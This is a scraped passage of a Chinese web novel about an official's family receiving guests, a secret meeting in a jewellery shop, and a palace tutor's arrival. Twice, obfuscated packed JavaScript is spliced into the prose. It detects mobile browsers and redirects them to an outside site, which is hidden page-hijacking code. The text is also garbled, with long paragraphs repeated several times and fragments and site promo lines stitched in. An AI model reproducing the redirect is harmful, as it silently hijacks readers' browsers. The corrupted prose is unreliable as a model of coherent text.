雪生许久没见他,面上也露出个笑来,“听说你都成亲生子了,怎么没把孩子带来。” 秋影挥挥手,“嗨,丫头一个,又那么大一点,带她做什么。”嘴上是这么说,嘴角眉梢都带着喜庆的得意,可见还是喜欢的。 雪生从怀里摸出一个红色带着金色丝线的荷包递给他,“给孩子准备的见面礼,她没来,你就带回去给他吧。” 秋影十分感动,他和雪生许久没见,没想到雪生哥还特意打听了他的事。 宋家的仆人分别往前后院送茶点,常金花往炕桌上摆满了干果点心,招呼琼娘上去。 “琼娘,来,想吃什么自己来拿。” 琼娘比阿砚只小一岁,看起来却瘦瘦小小的一只,脸色白净到有一丝苍白,显得眼睛更大了,带着干净的破碎感,大人们看了都很心疼。 兰娘帮女儿脱了鞋子,让她上去暖暖,“外头雪那么厚,本来不想带她来的,但是她非要过来,说要看新宅子。” 孟晚派人去喊阿寻,转头回来给琼娘泡了一碗热乎乎的红糖藕粉,“一会儿再让阿寻来给琼娘把把脉,我记得上次他说琼娘可以适当外出散散步,对身体是有好处的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397768|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 多年,气质更加沉稳圆滑,祝四爷更具匪气。 跟着孟晚和宋亭舟出来迎客的雪生,闻言下意识看了祝四爷一眼,眼中情绪复杂。祝四爷也习武,他敏锐的察觉到雪生的目光,纳闷的琢磨着自己是不是得罪过这人。 祝泽宁一家子都到齐,上到长辈祝三爷,下到小辈久不出门的琼娘,再加上丫鬟小厮浩浩荡荡的一大家子。 相比之下吴昭远夫夫二人就冷清了许多,两人没有子嗣,吴家也没有长辈,两人身边只跟了三两个仆人,其中一个便是跟随吴昭远身边多年的小厮秋影。 把客人都请进门之后,孟晚略退后两步看了雪生一眼,“没事?” 雪生心中一暖,“都过去了夫郎。” 孟晚提起来的心松懈下来,“那就好。” 若是雪生过不去曾经的坎,孟晚也只好惹祝三爷不快了,不与他四弟相交了。两者之间孰轻孰重,他心里自有丈量。 众人先去拜访常金花,然后男客去前面宴客厅,内眷留在常金花院里。 “雪生哥!”秋影叫住雪生,语气一如当初,只是经历了变成期,变得成熟了许多。 雪生许久没见他,面上也露出个笑来,“听说你都成亲生子了,怎么没把孩子带来。” 秋影挥挥手,“嗨,丫头一个,又那么大一点,带她做什么。”嘴上是这么说,嘴角眉梢都带着喜庆的得意,可见还是喜欢的。 雪生从怀里摸出一个红色带着金色丝线的荷包递给他,“给孩子准备的见面礼,她没来,你就带回去给他吧。” 秋影十分感动,他和雪生许久没见,没想到雪生哥还特意打听了他的事。 宋家的仆人分别往前后院送茶点,常金花往炕桌上摆满了干果点心,招呼琼娘上去。 “琼娘,来,想吃什么自己来拿。” 琼娘比阿砚只小一岁,看起来却瘦瘦小小的一只,脸色白净到有一丝苍白,显得眼睛更大了,带着干净的破碎感,大人们看了都很心疼。 兰娘帮女儿脱了鞋子,让她上去暖暖,“外头雪那么厚,本来不想带她来的,但是她非要过来,说要看新宅子。” 孟晚派人去喊阿寻,转头回来给琼娘泡了一碗热乎乎的红糖藕粉,“一会儿再让阿寻来给琼娘把把脉,我记得上次他说琼娘可以适当外出散散步,对身体是有好处的。” 多年,气质更加沉稳圆滑,祝四爷更具匪气。 跟着孟晚和宋亭舟出来迎客的雪生,闻言下意识看了祝四爷一眼,眼中情绪复杂。祝四爷也习武,他敏锐的察觉到雪生的目光,纳闷的琢磨着自己是不是得罪过这人。 祝泽宁一家子都到齐,上到长辈祝三爷,下到小辈久不出门的琼娘,再加上丫鬟小厮浩浩荡荡的一大家子。 相比之下吴昭远夫夫二人就冷清了许多,两人没有子嗣,吴家也没有长辈,两人身边只跟了三两个仆人,其中一个便是跟随吴昭远身边多年的小厮秋影。 把客人都请进门之后,孟晚略退后两步看了雪生一眼,“没事?” 雪生心中一暖,“都过去了夫郎。” 孟晚提起来的心松懈下来,“那就好。” 若是雪生过不去曾经的坎,孟晚也只好惹祝三爷不快了,不与他四弟相交了。两者之间孰轻孰重,他心里自有丈量。 众人先去拜访常金花,然后男客去前面宴客厅,内眷留在常金花院里。 “雪生哥!”秋影叫住雪生,语气一如当初,只是经历了变成期,变得成熟了许多。 雪生许久没见他,面上也露出个笑来,“听说你都成亲生子了,怎么没把孩子带来。” 秋影挥挥手,“嗨,丫头一个,又那么大一点,带她做什么。”嘴上是这么说,嘴角眉梢都带着喜庆的得意,可见还是喜欢的。 雪生从怀里摸出一个红色带着金色丝线的荷包递给他,“给孩子准备的见面礼,她没来,你就带回去给他吧。” 秋影十分感动,他和雪生许久没见,没想到雪生哥还特意打听了他的事。 宋家的仆人分别往前后院送茶点,常金花往炕桌上摆满了干果点心,招呼琼娘上去。 “琼娘,来,想吃什么自己来拿。” 琼娘比阿砚只小一岁,看起来却瘦瘦小小的一只,脸色白净到有一丝苍白,显得眼睛更大了,带着干净的破碎感,大人们看了都很心疼。 兰娘帮女儿脱了鞋子,让她上去暖暖,“外头雪那么厚,本来不想带她来的,但是她非要过来,说要看新宅子。” 孟晚派人去喊阿寻,转头回来给琼娘泡了一碗热乎乎的红糖藕粉,“一会儿再让阿寻来给琼娘把把脉,我记得上次他说琼娘可以适当外出散散步,对身体是有好处的。” 多年,气质更加沉稳圆滑,祝四爷更具匪气。 跟着孟晚和宋亭舟出来迎客的雪生,闻言下意识看了祝四爷一眼,眼中情绪复杂。祝四爷也习武,他敏锐的察觉到雪生的目光,纳闷的琢磨着自己是不是得罪过这人。 祝泽宁一家子都到齐,上到长辈祝三爷,下到小辈久不出门的琼娘,再加上丫鬟小厮浩浩荡荡的一大家子。 相比之下吴昭远夫夫二人就冷清了许多,两人没有子嗣,吴家也没有长辈,两人身边只跟了三两个仆人,其中一个便是跟随吴昭远身边多年的小厮秋影。 把客人都请进门之后,孟晚略退后两步看了雪生一眼,“没事?” 雪生心中一暖,“都过去了夫郎。” 孟晚提起来的心松懈下来,“那就好。” 若是雪生过不去曾经的坎,孟晚也只好惹祝三爷不快了,不与他四弟相交了。两者之间孰轻孰重,他心里自有丈量。 众人先去拜访常金花,然后男客去前面宴客厅,内眷留在常金花院里。 “雪生哥!”秋影叫住雪生,语气一如当初,只是经历了变成期,变得成熟了许多。 雪生许久没见他,面上也露出个笑来,“听说你都成亲生子了,怎么没把孩子带来。” 秋影挥挥手,“嗨,丫头一个,又那么大一点,带她做什么。”嘴上是这么说,嘴角眉梢都带着喜庆的得意,可见还是喜欢的。 雪生从怀里摸出一个红色带着金色丝线的荷包递给他,“给孩子准备的见面礼,她没来,你就带回去给他吧。” 秋影十分感动,他和雪生许久没见,没想到雪生哥还特意打听了他的事。 宋家的仆人分别往前后院送茶点,常金花往炕桌上摆满了干果点心,招呼琼娘上去。 “琼娘,来,想吃什么自己来拿。” 琼娘比阿砚只小一岁,看起来却瘦瘦小小的一只,脸色白净到有一丝苍白,显得眼睛更大了,带着干净的破碎感,大人们看了都很心疼。 兰娘帮女儿脱了鞋子,让她上去暖暖,“外头雪那么厚,本来不想带她来的,但是她非要过来,说要看新宅子。” 孟晚派人去喊阿寻,转头回来给琼娘泡了一碗热乎乎的红糖藕粉,“一会儿再让阿寻来给琼娘把把脉,我记得上次他说琼娘可以适当外出散散步,对身体是有好处的。” 第17章 宝光斋 琼娘身体不好很多吃食不能乱用不过藕粉她是吃过的所以孟晚才给她泡。 阿寻很快就过来了他为琼娘诊了脉“恢复的不错我上次给她开得方子吃到年后到时候我再去祝家给她调整一下。” 琼娘甜甜的对着阿寻笑了下阿寻摸摸她的头回了个笑兰娘也在一旁慈爱的看着女儿。 这么大的孩子正是可人的时候吴昭远的夫郎郑淑慎满眼羡慕若是他也有个孩子就好了不求男孩女娘和小哥儿也是好的。 孟晚余光中扫到他的眼神琢磨了下突然说道:“大嫂我准备了些给令尊的束脩也不知道合不合适不然你陪我去看看吧?” 郑淑慎一愣“不必准备什么贵重东西寻常的束脩礼即可。” 孟晚硬拉着他出去“你就帮我看看吧。” 他走的时候隐蔽的对阿寻使了个手势意思是跟上来阿寻的弟弟是哑的楚辞同样不能发声因此一看手势就明白了过了小会儿到正院库房找到真的在翻找书画的孟晚和郑淑慎。 郑淑慎是极为传统而规矩森严的家教人脸皮又薄当着那么多人的面不好直接让阿寻给他把脉孟晚就特意把他叫了出来。 收藏书画和文房四宝的库房里有两套上好的桌椅孟晚把人安排好又正儿八经的说道:“你们先在这里看看字画我去旁边屋子给琼娘拿一箱珍珠玩玩。” 孟晚半句废话没有说完就去了旁边的库房把这个隐秘的小空间留给他们二人。 也就一盏茶的功夫三人一同回去神情都没有太多变化只是郑淑慎眉眼间的愁绪似乎浅淡了不少。 兰娘可能已经猜到了什么但同孟晚一样顾忌郑淑慎的颜面都故作不知。 孟晚手里端着一个箱子回来上头还有一个方形盒子。 “琼娘来看看小叔给找了些好玩的。”阿砚和通儿也过来了孟晚把箱子往炕桌上一放三个孩子就好奇的围了上去。 阿砚手速最快本来该是琼娘先开箱他偏偏一把给掀开了盖子。孟晚眼角抽动 阿砚撇撇嘴再一看又是熟悉的小珍珠当即没了兴致觉得自己白挨打了。 “好多、好漂亮啊!”琼娘大大的眼睛里泛着欣喜的光芒。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “晚哥儿这是南珠吧?太贵重了给琼娘捡上几颗玩玩就行了。”兰娘不是不识货的祝三爷出去行商也总会给孙女带礼物这种程度的南珠放在盛京城里也是上等货色用来交际正好随手送孩子不免可惜。 “没什么的都是一分重的小珍珠正适合给孩子做头饰琼娘喜欢就好。”孟晚最不缺的就是珍珠刚好这种圆润的珠子比宝石还讨小孩的欢心送便送了。 兰娘有心拒绝哪怕一分重这样成色的南珠也要五两一颗 “琼娘你看看这里还有小叔给你挑的首饰打开瞧瞧?”孟晚说话的时候眼睛微眯死死盯着阿砚跃跃欲试的手。他发现他儿子不是一般的欠儿而且特别擅长在外人面前让他丢脸刚才他动了一下手就已经引得大家关注了这回阿砚再敢惹他他就提到外面去教训。 琼娘害羞的笑笑“谢谢小叔那我真的打开啦?娘?” 小姑娘娇娇软软的唤自己娘亲。 兰娘为难的看着孟晚“怎么还有啊晚哥儿?” 孟晚失笑“都是我收上来的东西没有盛京的物价这么高不必多想我头回见琼娘应该的。三叔每次见阿砚也没少给他买好东西。” 孟晚都这么说了自己若是太过推辞反而显得外道兰娘无奈地浅笑“那我就厚颜收下了。” 琼娘高兴的欢呼了一声打开了方形的扁平盒子里面是一只金项圈这个倒是没什么稀罕的小孩常收到的礼物一是长命锁二就是项圈。 孟晚送的这支项圈工艺精细圈身也不粗重孩子戴着不会显得累赘。上面是浮雕花纹最值钱的是正面镶嵌的一颗密黄色猫眼宝石随着琼娘手中的动作猫眼石的光晕来回变化放到有光影的地方更是霞光璀璨。 “好!漂!亮!”琼娘兴奋得脸颊红润拿着金项圈爱不释手“娘我好喜欢比祖父给我买的还好看!” 常金花瞧她这样鲜活的样子觉得稀罕“琼娘过来叔祖母这儿我给你戴上。” 琼娘过去跪坐在常金花前面微微低头。 常金花把活口打开边给琼娘套项圈边念念有词“长命百岁无病无灾。” 兰娘眼眶倏地就红了但愿女儿能像阿寻小郎中说的那样把身子养好一生 你的朋友正在书荒,快去帮帮他吧 无忧。 两家人晚上留在宋家吃饭,常金花亲自张罗的,孟晚时而给她打下手,时而和兰娘和郑淑慎说说话。 “真羡慕晚哥儿,和婆母关系那么好。”郑淑慎忽而说道。 兰娘笑他,“大嫂,咱们俩是没有婆母,所以你才能坐这儿和我感叹,不然你以为儿媳妇是那么好当的?” 她也有两个交情还算不错的朋友,另外也和祝泽宁同僚的家眷打过交道,禹国孝道大过天,儿媳难当。 像常金花这样的婆母,和她公爹那样的公公才是少见。 郑淑慎想起自家爹娘和家里的嫂子,赞同道:“你说的也不无道理。” 三家关系亲密,席间也没分什么前后院,在宴客厅摆了张大圆桌,众人同席吃饭。 琼娘要吃药膳,三个小孩单独在常金花屋里摆了一桌,阿寻同旁人一起吃饭有些不自在,干脆也陪着他们。 常金花手艺和外面酒楼的大厨又是不一样的滋味,大家吃的是宾主尽欢。饭后又闲聊两句,客人才起身离开,约定年后再聚。 小年之后时间便快了起来,眨眼就是年根底下,宋亭舟一如约定那样带孟晚去了宝光斋。 宝光斋是盛京较为有名的首饰铺子,据说背后的主子是京中贵人,但盛京城的贵人数不胜数,谁也不知宝光斋的东家是谁。 宝光斋虽然只有两层楼,但铺面广阔,一层就有三个前门,大冷的天外头还站了人迎客。 年底来置办首饰的人不少,大部分都是相互作伴的女娘和小哥儿,携手来的孟晚和宋亭舟在里面很是打眼,更别说孟晚出众的相貌,走到哪里都是焦点,频繁惹人偷偷打量。 他俩到宝光斋之后,宋亭舟牵他直奔二楼。孟晚打趣道:“宋大人很熟门熟路嘛?” 宋亭舟与他相连的手用上了些力气,他认真解释道:“是泽宁听说我们要来宝光斋,同我说二楼摆的才是他们铺子里的精品,叫我不用在一楼浪费时间。” 祝泽宁官虽然小,但有个好爹,祝三爷这些年走南闯北没少挣钱,虽说没有孟晚富得这么夸张,但家底也是十分丰厚的。 祝泽宁从小富少爷做惯了,实际上是没过过什么苦日子的,也有过花钱如流水的作态,直到中进士后在盛京安家才稍作收敛。 他闲不住,这么些年不说把盛京城逛个遍,但也算得 你的朋友正在书荒,快去帮帮他吧 上是半个当地人了,一些有名的店铺什么情境背景,他都能说得上来点门门道道。 二楼楼梯口站着两个迎客的伙计,竖起耳朵一听就知道上来这两位是不差钱的,争相上前接待。 “客官要看些什么?咱们宝光斋应有尽有。 宋亭舟从袖兜里抓了小把铜板递给他,“不需要,我和夫郎自己看。 伙计收下铜板还想再说,却被宋亭舟的冷脸给吓住了,悻悻退回楼梯口去。 孟晚用被握住的手指弹了两下宋亭舟的手掌心,宋亭舟肩膀向他所在的方向稍稍倾斜,眼眸微垂,音调柔和,“怎么了? “楼上怪热的,我把大氅脱了你帮我拿着?二楼明显比一楼服务精致,里面熏香的香炉都不下一个,炭盆和炉子都有,刚上来就有一股混杂着香味的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408443|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热浪扑来,孟晚想脱外套,一手被他抓着又不好操作。 宋亭舟帮他把大氅脱了,放在自己臂弯处挂着,全然不管那些明里暗里扫视过来的目光。 二楼的展台面积和一楼一样,各种高低错落的木制展台,根据首饰的种类、材质分类陈列。 不同的是人比一楼少了一半,都是身穿锦衣的人在看,不时还有管事的拿出一批批贵人定做好的首饰亲自带人送货上门。 “晚儿,这个喜欢吗?宋亭舟拿起一根青绿色的玉簪子,他不懂什么材质,只觉得这根看着最顺眼,因为簪头也是祥云样式,比曾经他在镇子上买的精致传神许多。 孟晚对这些玉器也只是略知一二,其中一半的认知是聂知遥告诉他的,另一半是他划拉首饰当家当的时候,怕被人诓骗,自己又主动了解了一点。 “这是岫岩玉吧?孟晚拿起来打量,然后轻轻放了回去,“我还是更喜欢白玉。 二楼的管事早就看到他们上来,只是有眼色的没有上前打扰,这会儿听到孟晚的话忙上前问道:“客官要找白玉?这边有上好的和田玉,要不两位过来看看? 他俩被带着往最东侧走,过去后才发现那里面有几间小型包厢,管事的把他们领到其中一间无人的包房,说要去取玉。 孟晚揭开桌上茶壶的壶盖,里面是尚存余温的碧螺春,“不愧是盛京名店,买个首饰还要搞些排场。 听他这么说宋亭舟突然从座位上站起来,算计着正门和楼梯 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 的位置,然后走到窗边作势要推开窗户,岂料面前的窗户竟然被人从外头打开,窗外不是外面热闹的街景,反而是一间亮如白昼的密室,也难怪孟晚和宋亭舟进来后一时间都没有发现不妥。 “乐正崎?”孟晚知道此情此景诡异至极,下意识用气声喊了一句。 乐正崎做寻常打扮,也似出来闲逛的普通人一般,他眼神复杂的看着面前的夫夫俩,“还以为宋大人起码要两年后才会回京,没想到竟然会提前。” 宋亭舟眼神一闪,似乎从他这句话中明白了什么。 “孟夫郎,我夫郎和绯哥儿还好吗?”乐正崎突然又问孟晚。 “他们在西梧府起码三年无碍。”孟晚暂时还捋不明白乐正崎和太子的事,他只猜到乐正崎是太子的人,此时忍不住问道:“你倒是心狠,只管把遥哥儿和孩子送去岭南这么长时间,竟然连书信一封也无。” 乐正崎转身将窗户关好,不知按到窗框什么地方,离得近的宋亭舟还听到了一声甚微的“咔哧”声。 “送他们去岭南之前,我本来是想与知遥和离的。”乐正崎背对着二人,也不知说出这话的时候是什么神色。 孟晚看了宋亭舟一眼,见对方脸色也沉了下来,意外的问:“你究竟要做什么?至于走到这步?之遥同意了?” 太子谋划的太深,乐正崎处境像是不太妙的样子,但孟晚的话说完,他轮廓深邃的脸上突然显露出一抹笑,眼中的阴郁也散去大半,像是在得意什么,“他不肯与我和离,说我**就回来给我收尸。” 孟晚:“?”这有什么好得意的?人**一切就都结束了,他也不怕聂知遥再找一个。 宋亭舟沉声问道:“什么时候动手?” 乐正崎收起笑意,无声的用手指在桌子上划了一横。 一 正旦宴? 宋亭舟点头,“可要我帮衬一二?” 乐正崎眼底略过一丝讶异,但还是拒绝道:“不必,这件事谁也帮不上忙,只能我自己来。” 乐正崎前来冒险见他们似乎只是为了问问孟晚,聂知遥在岭南过得好不好,可否安全,便目送他们离开了。 俩人也没有了买簪子的心思,为免空着手回去惹人怀疑,孟晚还随便在二楼挑了几件首饰回家。 第18章 司饰 正旦宴是大年初一,三品以上的官员要携家眷入宫。入宫不是简单的事,一概礼仪规矩,孟晚和常金花都要学。孟晚还好,年轻、脑子灵活,之前还从松韵学院李飞飞那里学过一点宫廷礼仪,常金花却是犯了难。 “晚儿,娘告病行不行?娘是真不想去什么皇宫。”常金花语气中隐隐含着些崩溃。 孟晚想笑,觉得不太道德,生生忍住了,他语重心长的劝道:“娘,告假称病也是可以的,只是怕来日泄漏了出去,叫宫中的贵人知道咱们撒了谎,有些不好看。” 他和宋亭舟都不喜欢在这样的小事上出什么纰漏,凡事当时就妥善办好,免得日后会因小失大。 这会儿找宫娥的事说什么也要提上行程了,虽然不用直面皇上,但他们也是要见皇后和宫妃的,行不好礼虽说看在宋亭舟的面子上不见得会治罪,但被斥责嘲笑也不一定。 孟晚这边连个关系都没有,还想让宋亭舟去寇家问问,没想到有人就送上了及时雨。 “夫郎,侯府送了人来。”桂诚急匆匆的跑过来禀告,现在家门是他带人守着。 “侯府?忠毅侯府?”他们夫夫俩一共就认识那几个人,除了秦艽家,旁人也不可能无故帮他们。 孟晚脑子转了转,立即吩咐道:“快把人请进来吧,态度友善一些。” 人被请进了正院孟晚的堂屋,是位四十来岁的哥儿,穿了一身细棉厚袄,背着个深色的包袱,个子不高,人微胖。额头上生了一颗痣,花生大小,还是褐色的,人长得其实很周正,就是那颗痣不大好看。 “奴婢金阙,见过夫郎。”金阙一板一眼的给孟晚行了个礼,全程连一丝笑意都没有,脸板得很紧,与早年的常金花差不多,常金花是冷脸,金阙则是死板。 孟晚一个照面就先将人的性格给剖析了一遍,而后才笑着扶起了他,“金嬷嬷不必多礼,你是被秦老侯爷喊来的?” 孟晚叫金阙在他下首的椅子上坐下,对方坐姿也是一板一眼,眼神微垂,不会好奇的东张西望。 金阙从怀里掏出一封书信来,“回夫郎的话,这是侯爷让奴婢转交给您和宋大人的书信。” 孟晚没有错过在自己问话时,金阙动作有一瞬间的滞待,说明他的来历并非与忠毅候有直接关系,不是侯府请的,却能借忠毅候的名头过来,那便只有一人了。 “ 太子妃近来还好吗?”孟晚脸上挂着人畜无害的微笑询问道。 金嬷嬷直起腰来正视他,“夫郎不必试探,奴婢并非是太子妃的人,只是曾在宫中见过太子妃几次。这次是皇宫五年一次到龄放出,确实是太子妃托人说和奴婢出宫来的。” 宫女二十五岁之后,若未被宫中的贵人留用,便能出宫去,金嬷嬷这个岁数还没出宫,若不是太子妃出面,是要在宫中养老过上一辈子的。 孟晚有一肚子的弯弯绕绕,金嬷嬷还真就是一个见过风浪,说话一针见血不留情面的耿直人。 “嬷嬷误会了,我并不是试探你……算了,信先拿来给我看看吧。”孟晚知晓了几分太子妃的意思,对方一是忌惮太子不在朝中,怕明目张胆的给孟晚送人会被有心之人另做揣测,二来也是怕孟晚多心,误会金阙是她的人。 金阙将信封捏在手中,脸色不变,“夫郎恕罪,侯爷交给我的时候说是交给宋大人和你两人的,理应宋大人回来,二位一起打开。” “啊?” 孟晚失笑道:“那行吧,如今嬷嬷到了我们家,我就先同你说说我们宋家的家境。” 金阙了然,这是新主子要给下马威,“应该的,夫郎请讲。” “我家的一等小侍的月钱是三两银子,管家黄叶是五两,嬷嬷便提到四两五钱如何?”下人们的月钱不可能越过黄叶,不然往后黄叶还怎么管家? 他家拿到一等月例的下人,目前只有前院的桂诚、桂谦和楚辞院里的别枝。 枝繁枝茂领的是二等小侍的月钱,每月一两五钱银子。常金花院里的苇莺、云雀,阿砚院里的朱砂、朱颜、桂方、桂圆,都是二等月例,每月一两五钱。预备等阿砚大些顶上朱砂朱颜的松山和松樵也被提了二等。剩下的就是每月八百文铜钱的三等仆人。 金阙身份又和普通下人不同,他是自由身,是被请到宋家来的,月钱不能太低,不然人家看不看得上不说,显得不把侯府和太子妃放在眼里。 金阙颇为意外,没想到孟晚上来先说的竟然是月钱。侯爵家的一等小侍也不过三两月例,普通官宦人家一两就顶天了,听说户部尚书家里一等小侍才拿八百文。 宋家是真有家底,还是没钱充大方? 从他入门之后,发现宅子里的下人并不算多的样子。 金阙从座位上起身欠礼,“多谢夫郎厚 待。”他在宫里是尚服局的正六品司饰,身上是有品级在身的,每月的月钱是十二两白银,这些年其实没少攒银子,也并没打算在宋家长久的住着。 “黄叶,你先带金嬷嬷去住处歇着吧。”孟晚也没什么可说的了,人本分些别仗着自己资历就出什么幺蛾子就成。 黄叶应了声,将金阙带出去往后院走,“嬷嬷,家里仆人少,夫郎和老爷身边都不喜欢太多人伺候,您就住老夫人这边吧。” 常金花院里的朱颜朱砂搬到阿砚的西院去了,正好腾出来一间现成的房间,里面床、衣柜、桌椅都有,只是床多出来一张。 黄叶叫了两个小厮来,把多出来的一张床搬了出去,又转身去后罩房处的杂物房提了一些被褥、炭盆、凳子、木盆等常用物品。 “嬷嬷先住着,若是缺什么只管找我,我就在东边那排屋子里,紧挨着厨房的那间住。”黄叶客气的说着。 金阙本来还觉得宋家有意思,安排个小哥儿做管家。他自己身为哥儿,并非是看不起小哥儿的意思,相反,宫中有本事的小哥儿太多了。因为知道出宫可能也是给人做妾的命,所以宫里的宫侍远比宫娥还要拼,六尚局中有四个掌事的都是哥儿。 然而宅子里头真用小哥儿管家,还是年纪这么小的,宋家应该是头一份。如今听他说话做事倒是周全,金阙绷紧的脸色缓和了一些,“黄管家客气,如今这样已经很好了。” 黄叶没走,又对他简单说了下宋家的情况,“家里只有五个正经主子,夫郎嬷嬷刚才已经见过了。我们老爷是顺天府尹宋大人,他今日出门访友还未归来。家里的大公子是老爷和夫郎收的义子,住在东院,他的院子平日不可擅自进入。二公子还小,比较顽皮,和夫郎友人之子住在西院。后正院住的是老夫人,她旁边的小院住的是夫郎请的郎中,也是要以礼相待的……” 金阙把手上的行李放到桌上,将黄叶的话记在心里,就见面前本来稳重的小哥儿对着院子里笑了笑,是很放松的笑。 院里走过来一个中年妇人,穿着褐色的棉袄,围着围裙不好意思的站在门口,“叶哥儿,这就是来教规矩的先生?” 槿姑有些脸热,她是被常金花叫来看看的,幸好儿子也在,要不还真不好意思打听。 金阙略一颔首道:“我只是个普通宫侍罢了,称不上一句先生。” 黄叶介绍,“金嬷嬷,这是我娘,您 先歇一会儿吧,晌午让我娘给你收拾出来一桌席面,午后就要劳您教老夫人学习宫廷礼仪了。” 他说完再不过多打扰,领着槿姑离开了房间。在外人面前沉稳干练的黄管家,在母亲面前也只是个平凡的、爱撒娇的小哥儿而已。 午后常金花苦着张脸开始上课,孟晚和宋亭舟在屋里看信。 “这样的死心眼能在皇宫那种**不吐骨头的地方,从普通宫女升到六品司饰,可见是有其他过人之处的。”孟晚看完信后揶揄道。 因为忠毅侯交代把信给两人,金阙就真的一直等到宋亭舟回家才把信交出来,也不知是不是在宫里,因为这种事被人坑过,孟晚越想越觉得可能性很大。 盛京各家的眼线旁多,忠毅侯信上倒也没说什么,只是简单介绍了一下金嬷嬷的来历,说人背景干净,让他们放心用。 宋亭舟饮了盏茶水,“太子妃应当是用心筛选过,尚服局的人刚好能指点一番正旦宴入宫的服饰饰品。” 男子直接穿自己的官服入宫即可,但孟晚和常金花身上没有诰命,需要穿其余符合规制的衣裳,金阙正好可以指点一二。 年前这段日子,常金花和孟晚没干别的,成天的在家学习宫礼,不光如此,阿寻和蚩羽也要学。官眷虽然不能携带侍女和小侍进入后宫,但孟晚不放心,就是让阿寻和蚩羽候在宫门外,孟晚也要带着他们以防万一。 这个年本该因为宋亭舟升官而高兴,但家里只有阿砚和通儿两个孩子因为买了爆竹和烟花开心,其余大人都是忧心忡忡。 往年的年夜饭,通常都是常金花亲自准备,今年她也没心思准备了,孟晚上手和槿姑还有两个灶房帮忙的丫鬟做的。 夜里一家子坐在常金花的堂屋里守夜,地上地下的桌子上都摆满了瓜果点心,唯一可惜的就是新鲜荔枝吃不到了,盘子里是圆滚滚的荔枝罐头。 院子里爆竹烟花爆裂的“砰砰”声接二连三的响起,由远到近,小孩子的欢呼声,在街角回荡。 常金花怕外面人多,再把阿砚和通儿给掳了去,便拘着两个孩子在院里玩。他们俩从小在一起长大,倒也有伴。 孟晚叫人把炕上的吃食给撤了,铺了毯子叫人跟他打叶子牌。楚辞和常金花在他身边一左一右的坐着,阿寻在孟晚对庄。 自家人玩,一人抓了一把铜钱,玩个热闹,没有大小。 孟晚脑子转的快,有时候还会记牌,楚辞也打的颇为精通,常金花和阿寻好像给他们俩凑数的,只管一味的输钱。 常金花本就紧张明日入宫的事,越打越不是心思,干脆下了桌,“大郎你来,娘去给你们炒花生。” 宋亭舟记忆力更是没话说,像是开了挂,这下子轮到阿寻开始愁眉苦脸了,然后楚辞开始暗戳戳的给他放牌,在他坐庄的时候偷偷放水。 “现在才几时啊?今晚玉河边上有歌舞,你俩干脆出去逛逛吧?”孟晚提议道。 “啊?”阿寻迟疑的望向楚辞,“要去吗?” 楚辞在他视线转过来的时候就已经起身了,还将阿寻毛茸茸的斗篷给拿在手里,等着对方穿好鞋子。 宋亭舟本就坐在炕边,他从自己怀里摸出了个荷包扔给楚辞,“想买什么就买,不用给我们省。” 楚辞早就习惯两个爹时不时给自己塞钱,他每月十两银子的月银都花不完,钱匣子攒了一个又一个。 俩人走后屋子里也没了别人,孟晚没骨头一样靠在宋亭舟身上,突然感叹道:“过了年我就二十九了,真是时节如流,光阴弹指间便飞速流逝了。”跟文化人待久了,他有时候也会说出两句文雅的话来。 宋亭舟手指拂过他鬓角的皮肤,眸子里黏黏糊糊的爱意像是一池暖泉,“如今的晚儿还是如当时三泉村初见一般。” 孟晚嘴角上翘,“阿砚就是随你,天天就知道看脸。” 宋亭舟不能接受这个污名,“我当时并非因为你的容貌才要娶你。” 孟晚这下连眼里都布满了笑意,“我懂,你的阿晚这么优秀,从里到外你都喜欢。” 宋亭舟也跟着笑了,他向来是内敛的,难得如此时这般朗声大笑。 常金花端了半筐的炒花生进来,踏进来一只脚又瞬间想缩回去,“你们俩可真是,孩子们进来再看见了。”她虽然语带嫌弃,但并不吃惊,想来也是习惯了。 但金阙紧跟着她进来,尚未看见什么就立即把脑袋给低了下去,“夫郎,怕是有违礼教,遭人非议。” 孟晚坐直身子,不同于宋亭舟骤然冷下来的神色,他脸上的笑意不减,像是不怎么在意似的,“金嬷嬷,在宋家,家主就是规矩。礼教建立在绝对权威之上,皇权凌驾天下众人之上,但也管不到人家里事。在宋家,我想怎么样就怎么样。” 金阙从未听说过这么离经叛道的论调,下意识就去看宋亭舟的脸色,却见对方正冷冷的看着她。 金阙肩头微不可察地抖了一下,“奴婢懂了。” 孟晚脑子转的快,有时候还会记牌,楚辞也打的颇为精通,常金花和阿寻好像给他们俩凑数的,只管一味的输钱。 常金花本就紧张明日入宫的事,越打越不是心思,干脆下了桌,“大郎你来,娘去给你们炒花生。” 宋亭舟记忆力更是没话说,像是开了挂,这下子轮到阿寻开始愁眉苦脸了,然后楚辞开始暗戳戳的给他放牌,在他坐庄的时候偷偷放水。 “现在才几时啊?今晚玉河边上有歌舞,你俩干脆出去逛逛吧?”孟晚提议道。 “啊?”阿寻迟疑的望向楚辞,“要去吗?” 楚辞在他视线转过来的时候就已经起身了,还将阿寻毛茸茸的斗篷给拿在手里,等着对方穿好鞋子。 宋亭舟本就坐在炕边,他从自己怀里摸出了个荷包扔给楚辞,“想买什么就买,不用给我们省。” 